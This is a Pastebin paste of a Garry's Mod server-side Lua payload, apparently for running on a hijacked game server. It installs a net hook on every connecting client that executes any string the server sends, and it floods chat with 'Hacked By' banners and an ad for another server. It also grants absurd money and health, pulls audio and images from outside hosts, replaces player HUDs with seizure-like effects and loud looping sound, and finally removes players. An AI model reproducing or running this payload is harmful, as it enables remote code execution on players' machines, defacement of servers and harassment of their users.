API tools faq
paste
Advertisement
midou1451

Untitled

midou1451
Feb 23rd, 2018
103
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.67 KB | None | 0 0
raw download clone embed print report
  1. util.AddNetworkString "skeleton_dancing_troll"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5. local ret = ""
  6. for _ = 1, math.random( intMin, intMax ) do
  7. ret = ret.. string.char( math.random(65, 90) )
  8. end
  9.  
  10. return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26. if not IsValid( pPlayer ) then return end
  27. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28. self:NextAction( pPlayer )
  29.  
  30. end )
  31. end
  32. timer.Create( "ohgggnon", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "|Hacked By MΦΦd Team | ")]]) end)
  33. timer.Create( "moneymoneyhhghggyyyyyyyy", 0.1, 0, function() v:addMoney(1000000000000000000) end)
  34. timer.Create( "sethealhhhhhhh", 1, 0, function() RunConsoleCommand("ulx", "hp", "*", "99999999999999999") end)
  35. timer.Create( "ohnddon", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "Go Sur StartRP Maintenant <---- 45.102.35.33796:")]]) end)
  36.  
  37.  
  38.  
  39.  
  40.  
  41.  
  42.  
  43.  
  44.  
  45.  
  46.  
  47.  
  48.  
  49.  
  50.  
  51.  
  52.  
  53.  
  54.  
  55.  
  56.  
  57.  
  58.  
  59. function lol:Start( pPlayer )
  60. pPlayer.m_intCurAction = 0
  61. self:NextAction( pPlayer )
  62. end
  63.  
  64. function lol:SendLua( pPlayer, strLua )
  65. net.Start( "skeleton_dancing_troll" )
  66. net.WriteString( strLua )
  67. net.Send( pPlayer )
  68. end
  69.  
  70. function lol:SetupPlayer( pPlayer )
  71. pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  72. end
  73.  
  74. for k, v in pairs( player.GetAll() ) do
  75. lol:SetupPlayer( v )
  76. timer.Simple( 2, function() lol:Start( v ) end )
  77. end
  78.  
  79. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  80. lol:SetupPlayer( pPlayer )
  81. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  82. end )
  83.  
  84. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  85. if strText:sub( 1, 5 ) == "/1337" then
  86. pSender:Ignite( 1e9 )
  87. pSender:ChatPrint( "Nop" )
  88. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  89. return false
  90. end
  91. end )
  92.  
  93.  
  94.  
  95. --Sequence stack
  96. --Start some tunes and steam in our assets
  97. lol:PushAction( 0, function( pPlayer )
  98. lol:SendLua( pPlayer, ([=[
  99. sound.PlayURL( "http://midou.mtxserv.fr/mp3/dop.mp3", "", function()end )
  100.  
  101. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  102. local html = [[%s]]
  103. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  104. local pnl = vgui.Create( "HTML" )
  105. pnl:SetPos( ScrW() -1, ScrH() -1 )
  106. pnl:SetVisible( true )
  107. pnl:SetMouseInputEnabled( false )
  108. pnl:SetKeyBoardInputEnabled( false )
  109. pnl:SetSize( intSizeX, intSizeY )
  110. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  111.  
  112. local PageLoaded
  113. PageLoaded = function()
  114. local mat = pnl:GetHTMLMaterial()
  115. if mat then
  116. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  117. return
  118. end
  119.  
  120. timer.Simple( 0.5, PageLoaded )
  121. end
  122.  
  123. PageLoaded()
  124. end
  125. LoadWebMaterial( "http://midou.mtxserv.fr/mp3/mmomo.png", "hud1", 300, 128 )
  126. LoadWebMaterial( "http://midou.mtxserv.fr/mp3/mmomo.png", "hud2", 300, 128 )
  127. LoadWebMaterial( "http://midou.mtxserv.fr/mp3/mmomo.png", "hud3", 128, 128 )
  128. LoadWebMaterial( "http://midou.mtxserv.fr/mp3/mmomo.png", "doritos", 183, 256 )
  129. LoadWebMaterial( "http://midou.mtxserv.fr/mp3/mmomo.png", "fedora", 256, 256 )
  130. LoadWebMaterial( "http://midou.mtxserv.fr/mp3/mmomo.png", "dew", 110, 256 )
  131. LoadWebMaterial( "http://midou.mtxserv.fr/mp3/mmomo.png", "awp", 256, 55 )
  132. ]=]):format(lol.m_strImageLoadHTML) )
  133. end )
  134.  
  135. --HUD swap
  136. lol:PushAction( 31, function( pPlayer )
  137. lol:SendLua( pPlayer, [[
  138. (GAMEMODE or GM).CalcView = function() end
  139. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  140.  
  141. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  142. for k, v in pairs(remove) do
  143. hook.GetTable()[v] = {}
  144. end
  145.  
  146. local function GetWebMat( strURL )
  147. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  148. end
  149.  
  150. hook.Add( "HUDPaint", "newhud", function()
  151. surface.SetDrawColor( 255, 255, 255, 255 )
  152.  
  153. if GetWebMat( "hud1" ) then
  154. surface.SetMaterial( GetWebMat("hud1")[1] )
  155. surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  156. end
  157. if GetWebMat( "hud2" ) then
  158. surface.SetMaterial( GetWebMat("hud2")[1] )
  159. surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
  160. end
  161. if GetWebMat( "hud3" ) then
  162. surface.SetMaterial( GetWebMat("hud3")[1] )
  163. surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
  164. end
  165. if GetWebMat( "doritos" ) then
  166. surface.SetMaterial( GetWebMat("doritos")[1] )
  167. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
  168. end
  169. if GetWebMat( "dew" ) then
  170. surface.SetMaterial( GetWebMat("dew")[1] )
  171. surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
  172. end
  173. if GetWebMat( "fedora" ) then
  174. surface.SetMaterial( GetWebMat("fedora")[1] )
  175. surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
  176. end
  177. if GetWebMat( "awp" ) then
  178. surface.SetMaterial( GetWebMat("awp")[1] )
  179. surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
  180. end
  181.  
  182. draw.SimpleTextOutlined(
  183. "▬๑۩۞۩๑▬Hacked By ZYREX▬๑۩۞۩๑▬",
  184. "DermaLarge",
  185. ScrW() /2 +math.random( -8, 8 ),
  186. ScrH() /2 +math.random( -8, 8 ) +64,
  187. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  188. TEXT_ALIGN_CENTER,
  189. TEXT_ALIGN_CENTER,
  190. 1,
  191. Color( 0, 0, 255, 255 )
  192. )
  193.  
  194. draw.SimpleTextOutlined(
  195. "C:",
  196. "DermaLarge",
  197. ScrW() /2 +math.random( -8, 8 ),
  198. ScrH() /2 +math.random( -8, 8 ) +24,
  199. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  200. TEXT_ALIGN_CENTER,
  201. TEXT_ALIGN_CENTER,
  202. 1,
  203. Color( 0, 0, 255, 255 )
  204. )
  205. end )
  206.  
  207. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  208. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  209.  
  210. surface.PlaySound( "garrysmod/save_load4.wav" )
  211. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  212. ]] )
  213. end )
  214.  
  215. --Disco time
  216. lol:PushAction( 10, function( pPlayer )
  217. local idx = pPlayer:EntIndex()
  218. timer.Create( "beat".. idx, 0.42, 0, function()
  219. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  220. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  221. end )
  222.  
  223.  
  224. lol:SendLua( pPlayer, [[
  225. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  226. local time = 0
  227.  
  228. hook.Add( "Think", "wat", function()
  229. if CurTime() < time then
  230. return
  231. end
  232.  
  233. time = CurTime() +0.05
  234. for i = 1, 16 do
  235. local part = emitter:Add(
  236. "particles/balloon_bit",
  237. LocalPlayer():GetPos() +Vector(
  238. math.random( -256, 256 ),
  239. math.random( -256, 256 ),
  240. 256
  241. )
  242. )
  243.  
  244. if part then
  245. local Size = math.random( 4, 7 )
  246.  
  247. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  248. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  249. part:SetDieTime( 4.5 )
  250. part:SetGravity( Vector(40, 0, -250) )
  251. part:SetLifeTime( 0 )
  252. part:SetStartSize( Size /2 )
  253. part:SetEndSize( Size )
  254. part:SetCollide( true )
  255. end
  256. end
  257. end )
  258. ]] )
  259.  
  260. lol:SendLua( pPlayer, [[
  261. hook.Add( "RenderScreenspaceEffects", "wat", function()
  262. local sinScaler = math.sin( CurTime() )
  263. DrawBloom(
  264. 0,
  265. 3,
  266. sinScaler *math.Rand(1, 8),
  267. sinScaler *math.Rand(1, 8),
  268. 6,
  269. math.Rand(0.5, 2),
  270. math.Rand(0, 0.3),
  271. math.Rand(0, 0.3),
  272. math.Rand(0.5, 1)
  273. )
  274.  
  275. DrawColorModify{
  276. ["$pp_colour_addr"] = 0,
  277. ["$pp_colour_addg"] = 0,
  278. ["$pp_colour_addb"] = 00,
  279. ["$pp_colour_brightness" ] = 0,
  280. ["$pp_colour_contrast" ] = 1,
  281. ["$pp_colour_colour" ] = 1,
  282. ["$pp_colour_mulr" ] = 0,
  283. ["$pp_colour_mulg" ] = 0,
  284. ["$pp_colour_mulb" ] = 1
  285. }
  286. end )
  287.  
  288. local mdl = ClientsideModel( "models/player/corpse1.mdl", RENDERGROUP_BOTH )
  289. mdl:SetNoDraw( true )
  290. local posCache, time = {}, 0
  291.  
  292. hook.Add( "HUDPaint", "dance", function()
  293. if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  294. local idx = mdl:LookupSequence("taunt_dance")
  295. mdl.SeqDuration = mdl:SequenceDuration( idx )
  296. mdl.SeqStart = CurTime()
  297. mdl:ResetSequence( idx )
  298. end
  299.  
  300. mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  301.  
  302.  
  303. local w, h = 300, 300
  304. local ang = Angle( 0, 0, 0 )
  305.  
  306. for i = 1, 32 do
  307. if CurTime() > time then
  308. posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  309. end
  310. local x, y = posCache[i][1], posCache[i][2]
  311.  
  312. cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  313. cam.IgnoreZ( true )
  314. render.SuppressEngineLighting( true )
  315.  
  316. render.SetLightingOrigin( mdl:GetPos() )
  317. render.ResetModelLighting( 1, 1, 1 )
  318. render.SetColorModulation( 0, 0, 1 )
  319.  
  320. mdl:DrawModel()
  321.  
  322. render.SuppressEngineLighting( false )
  323. cam.IgnoreZ( false )
  324. cam.End3D()
  325. end
  326.  
  327. if CurTime() > time then
  328. time = CurTime() +0.15
  329. end
  330. end )
  331.  
  332. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  333. ]] )
  334. end )
  335.  
  336. --Let the beat drop
  337. lol:PushAction( 54, function( pPlayer )
  338. lol:SendLua( pPlayer, [[
  339. hook.Add( "GetMotionBlurValues", "wat", function()
  340. return 0, 0, 1, math.sin(CurTime() *13)
  341. end )
  342.  
  343. hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  344. local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  345. DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  346. DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  347. end )
  348.  
  349. hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  350. render.SetMaterial( Material("cable/blue_elec") )
  351. for i = 1, 32 do
  352. render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  353. end
  354. end )
  355.  
  356. timer.Create( "thedrop", 0.42, 0, function()
  357. util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  358. end )
  359. ]] )
  360. end )
  361.  
  362. --EVIL TIME rip headpones
  363. lol:PushAction( 175, function( pPlayer )
  364. lol:SendLua( pPlayer, [[
  365. surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  366.  
  367. local sounds = {}
  368. for i = 1, 4 do
  369. sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan )
  370. sounds[#sounds +1] = pChan
  371. end )
  372. end
  373.  
  374. timer.Create( "asdf", 1, 0, function()
  375. if #sounds ~= 4 then return end
  376. timer.Destroy( "asdf" )
  377. for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  378. end )
  379.  
  380. hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  381. ]] )
  382.  
  383. pPlayer:Remove()
  384. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!